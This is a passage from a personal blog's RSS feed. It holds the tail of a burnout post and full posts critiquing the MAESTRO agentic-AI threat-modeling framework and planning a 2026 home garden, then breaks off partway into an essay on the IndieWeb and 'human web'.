  &lt;li&gt;&lt;a href=&quot;https://drdevonprice.substack.com/p/you-might-not-recover-from-burnout&quot;&gt;You Might Not Recover from Burnout. Ever. | Devon Price&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://geoffgraham.me/you-might-not-recover-from-burnout-ever/&quot;&gt;You Might Not Recover from Burnout. Ever. | Geoff Graham&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other burnout stories from the field:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://drewdevault.com/2023/05/01/2023-05-01-Burnout.html&quot;&gt;Burnout&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://library.xandra.cc/burnout/&quot;&gt;Burnout.exe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/cybersecurity/comments/1jeavex/burnout_stress_imposter_syndrome/&quot;&gt;Burnout, stress, imposter syndrome&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://drewdevault.com/2023/06/29/Burnout-2.html&quot;&gt;Burnout and the quiet failures of the hacker community&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/cybersecurity/comments/xgt5f2/is_the_burnout_really_all_that_bad/&quot;&gt;is the burnout really all that bad?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fun fact! The original draft for this post was May 3, 2024.&lt;/p&gt;
</description>
        <pubDate>Mon, 09 Mar 2026 14:13:00 -0400</pubDate>
        <link>https://shellsharks.com/burnout</link>
        <guid isPermaLink="true">https://shellsharks.com/burnout</guid>
        
        <category>infosec</category>
        
        <category>life</category>
        
        <category>career</category>
        
        
        <category>infosec</category>
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Using MAESTRO to Secure Agentic AI</title>
        <shark:summary><p>I recently came across <a href="https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro#">MAESTRO</a>—billed as a “<em>novel threat modeling framework designed specifically for the unique challenges of Agentic AI.</em>” I fancy myself a bit of a <a href="https://shellsharks.com/threat-modeling">collector of threat modeling frameworks</a>, so of course I decided to dig into the writeup to see what innovative ideas it brings that are uniquely applicable to the world of agentic AI systems. <em>TL;DR</em>—I don’t think its approach, the actual “framework” for modeling, is particularly novel. Rather, what this whitepaper usefully introduces (<em>if anything</em>) is a multi-layered, AI-specific, attack/threat catalog.</p>
</shark:summary>
        <description>&lt;p&gt;I recently came across &lt;a href=&quot;https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro#&quot;&gt;MAESTRO&lt;/a&gt;—billed as a “&lt;em&gt;novel threat modeling framework designed specifically for the unique challenges of Agentic AI.&lt;/em&gt;” I fancy myself a bit of a &lt;a href=&quot;https://shellsharks.com/threat-modeling&quot;&gt;collector of threat modeling frameworks&lt;/a&gt;, so of course I decided to dig into the writeup to see what innovative ideas it brings that are uniquely applicable to the world of agentic AI systems. &lt;em&gt;TL;DR&lt;/em&gt;—I don’t think its approach, the actual “framework” for modeling, is particularly novel. Rather, what this whitepaper usefully introduces (&lt;em&gt;if anything&lt;/em&gt;) is a multi-layered, AI-specific, attack/threat catalog.&lt;/p&gt;

&lt;h2 id=&quot;comparing-existing-frameworks&quot;&gt;Comparing existing frameworks&lt;/h2&gt;

&lt;p&gt;To illustrate the need for &lt;a href=&quot;https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro#&quot;&gt;MAESTRO&lt;/a&gt; and distinguish it from other established &lt;a href=&quot;https://shellsharks.com/threat-modeling#methodologies&quot;&gt;threat modeling methodologies&lt;/a&gt;, the author (&lt;a href=&quot;https://www.linkedin.com/in/kenhuang8&quot;&gt;Ken Huang&lt;/a&gt;) first runs through a couple of the more well-known frameworks, enumerating the respective strengths, weaknesses and gaps related to AI. In this exercise, I think the paper fails to understand the modular quality of any given framework (more on this shortly &lt;strong&gt;*&lt;/strong&gt;), but correctly highlights the ridgidity of any one framework’s “steps”, and the infeasibility of using them to-the-letter in a practical sense.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; For example, it’s called out that &lt;a href=&quot;https://shellsharks.com/threat-modeling#pasta&quot;&gt;PASTA&lt;/a&gt; is “complex and resource intensive” which is not conducive to modern development. &lt;em&gt;Absolutely&lt;/em&gt;, definitely agree here. But then it goes on to say that PASTA doesn’t specifically focus on AI vulnerabilities. &lt;em&gt;Huh?&lt;/em&gt; PASTA (and frankly most other &lt;em&gt;actual&lt;/em&gt; threat modeling frameworks—&lt;em&gt;*cough*&lt;/em&gt; &lt;u&gt;not&lt;/u&gt; &lt;a href=&quot;https://shellsharks.com/threat-modeling#stride&quot;&gt;STRIDE&lt;/a&gt; &lt;em&gt;*cough*&lt;/em&gt;) give a lot of latitude in terms of attack generation (among other things)—i.e. there’s no reason you can’t use an AI-specific threat catalog (e.g. &lt;a href=&quot;https://atlas.mitre.org/&quot;&gt;MITRE ATLAS&lt;/a&gt;) with PASTA.&lt;/p&gt;

&lt;p&gt;As another example, the paper suggests that &lt;a href=&quot;https://shellsharks.com/threat-modeling#linddun&quot;&gt;LINDDUN&lt;/a&gt; is inadequate for threat modeling AI systems because it is narrowly scoped to privacy-specific threats. Again, I think the paper fails to understand that LINDDUN has this specificity for a reason. It isn’t that LINDDUN isn’t good for AI systems, but rather LINDDUN isn’t a general-purpose (bring-your-own-threat-classification) threat modeling framework. If you are uniquely interested in privacy-related threats, LINDDUN is probably still a perfectly applicable methodology, even in the context of agentic AI systems.&lt;/p&gt;

&lt;p&gt;As a final example, the paper suggests &lt;a href=&quot;https://shellsharks.com/threat-modeling#vast&quot;&gt;VAST&lt;/a&gt; is inadequate to evaluate AI systems because of some gap related to AI-specific risks. &lt;em&gt;What&lt;/em&gt;? VAST is a very simple, and most notably, &lt;u&gt;abstract&lt;/u&gt; framework, and as such allows for a lot of liberty in terms of the types of threats you can consider. Again, I think this speaks to a fundamental misunderstanding of the model (VAST) that MAESTRO is ultimately being compared with.&lt;/p&gt;

&lt;p&gt;As an added note, there’s a lot of &lt;a href=&quot;https://shellsharks.com/threat-modeling#methodologies&quot;&gt;other models&lt;/a&gt; that this paper does not attempt to cover. Granted, these other models may not be as well-known, even if they could be more applicable in the AI context.&lt;/p&gt;

&lt;h2 id=&quot;getting-into-maestro&quot;&gt;Getting into MAESTRO&lt;/h2&gt;

&lt;p&gt;Enough talk about &lt;a href=&quot;https://shellsharks.com/threat-modeling#methodologies&quot;&gt;other models&lt;/a&gt;, let’s get into what &lt;a href=&quot;https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro#&quot;&gt;MAESTRO&lt;/a&gt; really is. To understand MAESTRO, let’s take a look at the framework’s stated &lt;a href=&quot;#maestros-principles&quot;&gt;principles&lt;/a&gt; and its &lt;a href=&quot;#the-approach&quot;&gt;methodology for modeling&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;maestros-principles&quot;&gt;MAESTRO’s Principles&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro#&quot;&gt;MAESTRO&lt;/a&gt;’s principles are meant to be tailor-made for conducting practical security assessments against agentic AI systems. They are also meant to be unique and differentiating with respect to other “competing” methodologies. These principles are listed below…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Extended Security Categories&lt;/strong&gt;: Expanding traditional categories like STRIDE, PASTA, and LINDDUN with AI-specific considerations.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Multi-Agent and Environment Focus&lt;/strong&gt;: Explicitly considering the interactions between agents and their environment.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;#7-layer-reference-architecture-ie-the-attack-catalog&quot;&gt;Layered Security&lt;/a&gt;&lt;/strong&gt;: Security isn’t a single layer, but a property that must be built into each layer of the agentic architecture.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;AI-Specific Threats&lt;/strong&gt;: Addressing threats arising from AI, especially adversarial ML and autonomy-related risks.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk-Based Approach&lt;/strong&gt;: Prioritizing threats based on likelihood and impact within the agent’s context.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Continuous Monitoring and Adaptation&lt;/strong&gt;: Ongoing monitoring, threat intelligence, and model updates to address the evolving nature of AI and threats.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After a cursory review, these principles seem perfectly adequate for assessing agentic AI systems—no comment there. But I don’t think these principles are particularly novel juxtaposed with other existing frameworks. As I covered earlier, many methodologies provide the space to plug-in an &lt;a href=&quot;https://shellsharks.com/threat-modeling#attack-libraries&quot;&gt;attack/threat catalog&lt;/a&gt; of your choosing. Sure, threat classification models like STRIDE or threat modeling frameworks like LINDDUN that have more rigid threat categories exist, but most methodologies allow you to generate threats with much greater latitude. Understanding system layers and environmental context is nothing unique either. This just sounds like the classic step of application decomposition, i.e. understanding the data flow, the use cases, the actors, mitigating controls, etc… The remaining three principles just cover threat generation, risk analysis and revisiting the model. &lt;em&gt;So&lt;/em&gt;… really nothing new to add.&lt;/p&gt;

&lt;p&gt;To be clear, these aren’t &lt;em&gt;bad&lt;/em&gt; principles. It’s just &lt;u&gt;not&lt;/u&gt; groundbreaking stuff.&lt;/p&gt;

&lt;h3 id=&quot;the-approach&quot;&gt;The Approach&lt;/h3&gt;

&lt;p&gt;Speaking of nothing groundbreaking, let’s analyze &lt;a href=&quot;https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro#&quot;&gt;MAESTRO&lt;/a&gt;’s “step-by-step approach”, i.e. the actual methodology. The steps are listed below…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;System Decomposition&lt;/strong&gt;: Break down the system into components according to the seven-layer architecture. Define agent capabilities, goals, and interactions.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Layer-Specific Threat Modeling&lt;/strong&gt;: Use layer-specific threat landscapes to identify threats. Tailor the identified threats to the specifics of your system.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Cross-Layer Threat Identification&lt;/strong&gt;: Analyze interactions between layers to identify cross-layer threats. Consider how vulnerabilities in one layer could impact others.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Assessment&lt;/strong&gt;: Assess likelihood and impact of each threat using the risk measurement and risk matrix, prioritize threats based on the results.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Mitigation Planning&lt;/strong&gt;: Develop a plan to address prioritized threats. Implement layer-specific, cross-layer, and AI-specific mitigations.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Implementation and Monitoring&lt;/strong&gt;: Implement mitigations. Continuously monitor for new threats and update the threat model as the system evolves.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Seem familiar&lt;/em&gt;? That’s because &lt;em&gt;it is&lt;/em&gt;. Application decomposition, threat generation, risk assessment, risk treatments and validation would describe a lot of other models. The only difference here is that the threat generation is focused on AI-specific threats across these defined layers… but other models (i.e. PASTA) would also accommodate for this. So in short, the “model” is not novel. If there’s value here (and I think there could be), it’s in the &lt;a href=&quot;#7-layer-reference-architecture-ie-the-attack-catalog&quot;&gt;layered threat catalog&lt;/a&gt;. Let’s get to that…&lt;/p&gt;

&lt;h2 id=&quot;7-layer-reference-architecture-ie-the-attack-catalog&quot;&gt;7-Layer Reference Architecture, i.e. the Attack Catalog&lt;/h2&gt;

&lt;p&gt;What I do find interesting and useful from the &lt;a href=&quot;https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro#&quot;&gt;MAESTRO&lt;/a&gt; writeup is the layer-by-layer breakdown of AI-related threats. I won’t regurgitate them here so I would encourage you to read through the writeup to see the listing/breakdown of attacks.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2026/maestro-reference-architecture.png&quot; alt=&quot;MAESTRO Reference Architecture&quot; width=&quot;700px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Though other AI-specific threat catalogs exist (and will likely continue to be developed) (e.g. &lt;a href=&quot;https://atlas.mitre.org/&quot;&gt;ATLAS&lt;/a&gt;), I do like the way MAESTRO breaks it down by layers.&lt;/p&gt;

&lt;h1 id=&quot;resources&quot;&gt;Resources&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro#&quot;&gt;Agentic AI Threat Modeling Framework: MAESTRO&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://atlas.mitre.org/&quot;&gt;MITRE ATLAS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/threat-modeling#methodologies&quot;&gt;Threat Modeling Field Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 05 Mar 2026 15:12:00 -0500</pubDate>
        <link>https://shellsharks.com/maestro-to-secure-agentic-ai</link>
        <guid isPermaLink="true">https://shellsharks.com/maestro-to-secure-agentic-ai</guid>
        
        <category>infosec</category>
        
        <category>ai</category>
        
        <category>threatmodeling</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Garden Plan 2026</title>
        <shark:summary><p>Howdy y’all 🧑‍🌾! Spring is just around the corner and as such, I’ve started thinking about what I’m goin’ to do gardenin’-wise in 2026. Last year was the first time I’ve ever tried to grow <em>anything</em>, so I wasn’t <a href="https://shellsharks.com/gardenlog-2">particularly ambitious</a>. I grew some <a href="https://www.lowes.com/pd/Bonnie-Plants-Tomatoes-Pot-Plant-2-Pack/5014707943">cherokee purple</a> heirloom <a href="https://shellsharks.com/gardenlog#tomatoes-">tomatoes</a> which turned out <em>amazing</em>, and I harvested some blueberries from a bush that was already in the yard from before I bought the house. <em>That’s it though</em>. This year I’m planning on expanding the garden to additional zones and planting a wider variety of things. <em>Exciting!</em></p>
</shark:summary>
        <description>&lt;p&gt;Howdy y’all 🧑‍🌾! Spring is just around the corner and as such, I’ve started thinking about what I’m goin’ to do gardenin’-wise in 2026. Last year was the first time I’ve ever tried to grow &lt;em&gt;anything&lt;/em&gt;, so I wasn’t &lt;a href=&quot;https://shellsharks.com/gardenlog-2&quot;&gt;particularly ambitious&lt;/a&gt;. I grew some &lt;a href=&quot;https://www.lowes.com/pd/Bonnie-Plants-Tomatoes-Pot-Plant-2-Pack/5014707943&quot;&gt;cherokee purple&lt;/a&gt; heirloom &lt;a href=&quot;https://shellsharks.com/gardenlog#tomatoes-&quot;&gt;tomatoes&lt;/a&gt; which turned out &lt;em&gt;amazing&lt;/em&gt;, and I harvested some blueberries from a bush that was already in the yard from before I bought the house. &lt;em&gt;That’s it though&lt;/em&gt;. This year I’m planning on expanding the garden to additional zones and planting a wider variety of things. &lt;em&gt;Exciting!&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;the-plan&quot;&gt;The Plan&lt;/h1&gt;

&lt;p&gt;Last year I used this tiny 3ft-by-8ft (&lt;em&gt;ish&lt;/em&gt;) area to plant a few tomatoes. This year, I’m looking to expand my usable garden space into a few other &lt;a href=&quot;#zones&quot;&gt;zones&lt;/a&gt; to accommodate &lt;em&gt;more&lt;/em&gt; stuff. But what should I grow? My decision making process here came down to, &lt;strong&gt;A.&lt;/strong&gt; What can I grow in my &lt;a href=&quot;https://planthardiness.ars.usda.gov&quot;&gt;zone&lt;/a&gt;? (&lt;strong&gt;7B&lt;/strong&gt;), &lt;strong&gt;B.&lt;/strong&gt; what do I and my family like to eat, and &lt;strong&gt;C.&lt;/strong&gt; what isn’t terribly difficult to grow given my space parameters and general skill?&lt;/p&gt;

&lt;p&gt;So here’s the list of things I came up with that I am going to try and bring to life… 🌱&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;🍅 &lt;strong&gt;Heirloom Tomatoes&lt;/strong&gt; (e.g. probably those &lt;a href=&quot;https://en.wikipedia.org/wiki/Cherokee_Purple_(tomato)&quot;&gt;Cherokee Purples&lt;/a&gt; again): These were delicious and made for great BLTs and by-the-slice-eatin’.&lt;/li&gt;
  &lt;li&gt;🍒 &lt;strong&gt;Cherry Tomatoes&lt;/strong&gt;: These will be great in a salad or dunked in hummus. If I’m lucky, I might even be able to get my kids to try some.&lt;/li&gt;
  &lt;li&gt;🥒 &lt;strong&gt;Cucumbers&lt;/strong&gt;: I’ve always wanted to grow cucumbers—just like my grandma did when I was growin’ up. I love to dip ‘em in ranch.&lt;/li&gt;
  &lt;li&gt;🫛 &lt;strong&gt;Brown &lt;a href=&quot;https://www.southernexposure.com/products/creel-crowder-southern-pea-cowpea/&quot;&gt;crowder peas&lt;/a&gt;&lt;/strong&gt; (i.e. “cowpeas” / “field peas”): Now here’s a crop I always enjoyed while dining at my grandmas house, but never thought I could grow here. Well it turns out maybe I can! I’m not 100% sure this is the exact variety she used to grow but it looks pretty similar so I plan on giving it a shot.&lt;/li&gt;
  &lt;li&gt;🍐 &lt;strong&gt;Pear Tree&lt;/strong&gt;: I’m not 100% sure on the variety yet, but pear trees are supposed to grow pretty well in this zone and my kids LOVE them.&lt;/li&gt;
  &lt;li&gt;🍑 &lt;strong&gt;Peach Tree&lt;/strong&gt;: Same as the pear tree. ⬆️&lt;/li&gt;
  &lt;li&gt;🫐 &lt;strong&gt;Blueberry&lt;/strong&gt;: I already have one blueberry plant on the side of the house, but I have space for another and have been told that a second variety can help with cross-pollination. One problem though, is I’m not sure of the variety I already have! &lt;em&gt;Oh well&lt;/em&gt;, what’re the chances I choose the exact same one??&lt;/li&gt;
  &lt;li&gt;🫑 &lt;strong&gt;Pepper&lt;/strong&gt;: I might try to sneak a red/green pepper plant in somewhere (as requested by my wife).&lt;/li&gt;
  &lt;li&gt;🌻 &lt;strong&gt;Sunflower&lt;/strong&gt;: Unrelated to the back yard, but I want to plant a sunflower in the front of the house. We had one when we first moved in and loved it! Time to bring it back.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Alright&lt;/em&gt;, I’ve got a handle on what I want to grow and I have taken some measurements for the areas I plan to grow this stuff in. Doing a little research I found the following recommendations for how much space to give each of these crops…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Cucumbers&lt;/em&gt;: Plant them 8-10 inches apart and in rows 3-5 feet apart.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Cherry Tomatoes&lt;/em&gt;: Plant them 2-3 feet apart.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Heirloom Tomatoes&lt;/em&gt;: Plant them 3-4 feet apart and 4-5 feet inbetween rows.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Field Peas&lt;/em&gt;: Plant them 3-6 inches apart and with rows 2-3 feet apart.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Fruit Trees&lt;/em&gt; (e.g. pear/peach): Plant them with a ~10 foot radius.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So with all this together, here’s a concept of how things would look…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2026/garden.drawio.png&quot; alt=&quot;Garden Plan Sketch&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;span id=&quot;zones&quot;&gt;&lt;/span&gt;
In this diagram I consider there to be &lt;strong&gt;4&lt;/strong&gt; distinct zones…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Zone 1&lt;/strong&gt;: In front of my screened porch is a ~14.5ft-by-6ft area that I plan on making into a net-new garden space. In here I’d like to try planting the cucumbers, cherry tomatoes, field peas and peppers.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Zone 2&lt;/strong&gt;: In front of the sunroom, where I planted the heirloom tomatoes last year, I plan on doing the same thing this year.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Zone 3&lt;/strong&gt;: Where I currently have my lone blueberry bush (and &lt;a href=&quot;https://shellsharks.com/gardenlog-2&quot;&gt;fledgling raspberry plant&lt;/a&gt;), I’d like to drop another blueberry bush. (This is on the side of the house)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Zone 4&lt;/strong&gt;: Further back in the yard (away from the house) is a sunnier, and more spacious area that I’d like to see if I could get some larger fruit trees goin’.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;There ya have it!&lt;/em&gt; A plan is born.&lt;/p&gt;

&lt;h1 id=&quot;plan-execution&quot;&gt;Plan Execution&lt;/h1&gt;

&lt;p&gt;They say things are easier said than done, and in this case—that is 100% true. Yeah sure, I grew some delicious tomatoes last year, but that was nothin’ compared to growing all this stuff I want to do this year 😬. There’s a lot I need to do! I need to acquire the plants, probably grow some of them from seedlings (which requires infrastructure and know-how I don’t yet possess), dig up or otherwise build new garden areas from scratch, and do plenty of research along the way. &lt;em&gt;Phew&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;&lt;span id=&quot;resources&quot;&gt;&lt;/span&gt;
Here’s some random resources I’ve collected that I suspect might help me this year…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mehrabyannursery.com/growing-guide/peach-trees/when-to-plant-peach-trees/&quot;&gt;Peach Growing Guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lsuagcenter.com/topics/lawn_garden/master%20gardener/home-gardening-certificate-course&quot;&gt;Home Gardening Class&lt;/a&gt; from the &lt;u&gt;LSU College of Agriculture&lt;/u&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;So yeah&lt;/em&gt;, there’s a lot I need to learn, figure out and then ultimately do. I’ll probably get into more of &lt;em&gt;that&lt;/em&gt; in future posts. For now though, I’ve got what kinda looks like a plan. Wish me luck!&lt;/p&gt;
</description>
        <pubDate>Thu, 19 Feb 2026 00:15:00 -0500</pubDate>
        <link>https://shellsharks.com/garden-plan-2026</link>
        <guid isPermaLink="true">https://shellsharks.com/garden-plan-2026</guid>
        
        <category>life</category>
        
        <category>gardening</category>
        
        <category>gardenlog</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>The Human Web</title>
        <shark:summary><p>The year is 2026. AI has hollowed out what little humanity remained within the enshittified husks of the big tech slums us mortals digitally reside. Our privacy has been laid waste, our identities subjugated, our voices silenced, and our (digital) world sterilized. But this need not be our <a href="https://shellsharks.com/threadiversal-travel">fate</a>. A web revolution has begun my friends. What was once the nascent spark of a long lost web, is now a flourishing of digital gardens—personal sanctuaries on the net. It is there that once again people are free—to express themselves, to find others, to share their thoughts—without the fear of algorithmic oppression, corporate censorship and mass-assimilation. This revolution is known by many names—the “<a href="#the-indieweb">IndieWeb</a>”, the “small web”, the “old web”—<a href="#flavors-of-a-more-human-web">whatever</a> you call it, it’s a more <u>human</u> web. A <em>better</em> web. Will you <a href="#being-part-of-the-indieweb">join</a> us?</p>
</shark:summary>
        <description>&lt;p&gt;The year is 2026. AI has hollowed out what little humanity remained within the enshittified husks of the big tech slums us mortals digitally reside. Our privacy has been laid waste, our identities subjugated, our voices silenced, and our (digital) world sterilized. But this need not be our &lt;a href=&quot;https://shellsharks.com/threadiversal-travel&quot;&gt;fate&lt;/a&gt;. A web revolution has begun my friends. What was once the nascent spark of a long lost web, is now a flourishing of digital gardens—personal sanctuaries on the net. It is there that once again people are free—to express themselves, to find others, to share their thoughts—without the fear of algorithmic oppression, corporate censorship and mass-assimilation. This revolution is known by many names—the “&lt;a href=&quot;#the-indieweb&quot;&gt;IndieWeb&lt;/a&gt;”, the “small web”, the “old web”—&lt;a href=&quot;#flavors-of-a-more-human-web&quot;&gt;whatever&lt;/a&gt; you call it, it’s a more &lt;u&gt;human&lt;/u&gt; web. A &lt;em&gt;better&lt;/em&gt; web. Will you &lt;a href=&quot;#being-part-of-the-indieweb&quot;&gt;join&lt;/a&gt; us?&lt;/p&gt;

&lt;h1 id=&quot;flavors-of-a-more-human-web&quot;&gt;Flavors of A More Human Web&lt;/h1&gt;

&lt;p&gt;Remember personal blogs? Well they’re still a thing. These sites, unique in their design, and owned / operated by &lt;em&gt;real&lt;/em&gt; human people, are part of what I like to call the “&lt;strong&gt;&lt;a href=&quot;https://taggart-tech.com/human-web/&quot;&gt;human web&lt;/a&gt;&lt;/strong&gt;”. This is an all-inclusive term for characterizing all things “IndieWeb”, “Personal Web”, “Old Web”, “Small Web”, etc… Some (&lt;em&gt;me&lt;/em&gt;) use these terms interchangeably, while others are more adamant about what type of site is included in what form of “web”. Generally, I’ve seen each of &lt;a href=&quot;https://thoughts.melonking.net/guides/introduction-to-the-web-revival-1-what-is-the-web-revival&quot;&gt;these terms&lt;/a&gt; differentiated as follows…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;“&lt;strong&gt;IndieWeb&lt;/strong&gt;”: See &lt;a href=&quot;#the-indieweb&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;Personal Web&lt;/strong&gt;”: Sites operated by single people in individualistic, idiosyncratic ways.&lt;sup&gt;&lt;a href=&quot;https://sunwisp.neocities.org/posts/2024-08-09-My-Thoughts-On-The-Personal-Web&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;Old Web&lt;/strong&gt;”: Sites with a visual style resembling the web 1.0 era. &lt;sup&gt;&lt;a href=&quot;https://aesthetics.fandom.com/wiki/Old_Web#:~:text=The%20Old%20Web%20aesthetic%2C%20also,the%201990s%20and%20early%202000s.&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;Small Web&lt;/strong&gt;”: Sites that are simple in nature, accessible to a wide variety of web clients, don’t require JavaScript or other modern web bloat, etc… &lt;sup&gt;&lt;a href=&quot;https://indieweb.org/small_web&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ultimately, I don’t think it’s important to fixate on these various subsets—the larger movement is what matters. Together, they represent a diverse and unfiltered showcase of thought, of individuality, of tradition, of technology, and of the human experience. Made &lt;em&gt;for&lt;/em&gt; real people, &lt;em&gt;by&lt;/em&gt; real people.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: In practice, I consider and talk about my site as part of the “&lt;a href=&quot;#the-indieweb&quot;&gt;IndieWeb&lt;/a&gt;”, and I use that term generally to mean sites that are part of the larger human web. I understand others think of the IndieWeb as something different, or nuanced, and that’s fine.&lt;/p&gt;

&lt;h1 id=&quot;the-indieweb&quot;&gt;The IndieWeb&lt;/h1&gt;

&lt;p&gt;What is the &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt;&lt;/strong&gt;? Its origins can be traced to &lt;a href=&quot;https://indieweb.org&quot;&gt;indieweb.org&lt;/a&gt;. It was here that I developed my own &lt;a href=&quot;https://shellsharks.com/indieweb#indieweb&quot;&gt;formative understanding&lt;/a&gt; of this more &lt;a href=&quot;#flavors-of-a-more-human-web&quot;&gt;human web&lt;/a&gt; and its various communities and ideals.&lt;/p&gt;

&lt;p&gt;&lt;u&gt;Indieweb.org&lt;/u&gt; defines the &lt;em&gt;IndieWeb&lt;/em&gt; as a people-focused alternative to the “corporate web”—a community of independent and personal websites rooted in 3 foundational principles.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Your content is yours, and in your control.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You are in control of your site and your content. You can post what you want, in any format you want.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Your site is &lt;em&gt;connected&lt;/em&gt;. Your content can be distributed anywhere else on the web and your site can facilitate replies, likes, and other status messages.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The first two principles I’m totally on board with. Where indieweb.org loses me though is on this mandate to be “connected”. This expectation that your site &lt;em&gt;must&lt;/em&gt; contain social-like functionality (e.g. comments, likes) and it &lt;em&gt;must&lt;/em&gt; syndicate its content to other places (i.e. social media sites) is &lt;strong&gt;bizarre&lt;/strong&gt;. Your site shouldn’t need to be &lt;em&gt;social&lt;/em&gt;. It doesn’t &lt;em&gt;need&lt;/em&gt; to share its content elsewhere (though I do highly recommend having an &lt;a href=&quot;https://shellsharks.com/an-ode-to-rss&quot;&gt;RSS feed&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;I think I know where this insistence on connectedness orginates from though. Indieweb.org states that their movement is to create an alternative to the “corporate web”. You see, in the days of yore, your presence on the web was a blog/site. Since the advent of MySpace, through today, your identity and presence on the web has been relegated to https://BIGTECHSOCIALPLATFORM.COM/YOURNAMEHERE. Effectively, we moved away from blogs and personal sites as the de facto standard for ones identity on the web to these big, centralized social media platforms. You are now who Facebook says you are, or LinkedIn, or Twitter, etc…&lt;/p&gt;

